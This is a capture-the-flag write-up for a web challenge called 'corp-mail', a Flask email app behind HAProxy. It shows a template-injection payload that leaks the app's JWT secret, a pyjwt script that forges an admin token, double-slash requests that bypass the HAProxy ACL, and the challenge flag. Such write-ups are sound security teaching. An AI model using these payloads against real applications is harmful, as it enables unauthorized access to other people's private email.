Writeup Aria
C2C Qualification EnglishWeb

corp-mail

corp-mail

Description

Author: lordrukie x beluga

Rumor said that my office's internal email system was breached somewhere... must've been the wind.

Overview

This challenge is a corporate email web application built with Flask and protected by HAProxy.

Vulnerability: Python Format String Injection (SSTI-like) & HAProxy ACL Bypass. Goal: Obtain Admin access to read other users' emails (where the flag is located). Protection: The application uses JWT for authentication. The /admin endpoint is protected by HAProxy (likely blocked from external access).

AI-assisted output

1771296922989 1771296927943

Solution Steps

1. Information Disclosure (Format String Injection)

The vulnerability exists in the Update Signature feature on the /settings page. The application takes the user-provided signature input and directly processes it using a formatting function without proper sanitization.

Source Code Analysis (application/routes/user.py):

# ...existing code...
@bp.route('/settings', methods=['GET', 'POST'])
@login_required
def settings():
    if request.method == 'POST':
        signature_template = request.form.get('signature', '')
        formatted_signature = format_signature(signature_template, g.user['username'])
        db.execute('UPDATE users SET signature = ? WHERE id = ?', (formatted_signature, g.user['user_id']))

Because signature_template is treated as a template, the following payload will return the application configuration (including the JWT secret):

{{ app.config }}

Short steps:

  • Register a new account → Login → open /settings → enter {{ app.config }} as the signature → submit → view the output on the profile/preview page.

alt text

The output contains the application configuration — note the JWT_SECRET value.

alt text


2. Forge JWT (become admin)

With the JWT_SECRET, we can create a new token with is_admin set to 1.

Example of token creation using Python (pyjwt):

import jwt

secret = "<JWT_SECRET_FROM_APP>"
payload = {"user_id": 2, "username": "you", "is_admin": 1}
token = jwt.encode(payload, secret, algorithm='HS256')
print(token)

Set the session cookie using this new token (for example session=...) and then access the admin endpoint.

Short steps:

  • Get Original Token: Login as a normal user and retrieve the session cookie.

alt text

  • Decode Token, then copy the token payload for re‑encoding.

alt text

  • Forge Token: Change is_admin to 1 and re-sign it using the previously obtained secret.

alt text

  • Use this new token to access the admin endpoint.

alt text


3. Bypass HAProxy (path normalization)

Even though the token is now admin, access to /admin is blocked by the HAProxy ACL.

However, some servers (including Flask) normalize paths so that //admin is treated the same as /admin. HAProxy often matches literal paths and does not normalize //.

Therefore, use a double slash to bypass the ACL:

GET //admin/user/1/emails
GET //admin/email/5

//admin/user/1/emails

alt text

//admin/email/5

alt text


Flag

C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_4c7c96aecc9b}

On this page

corp-mail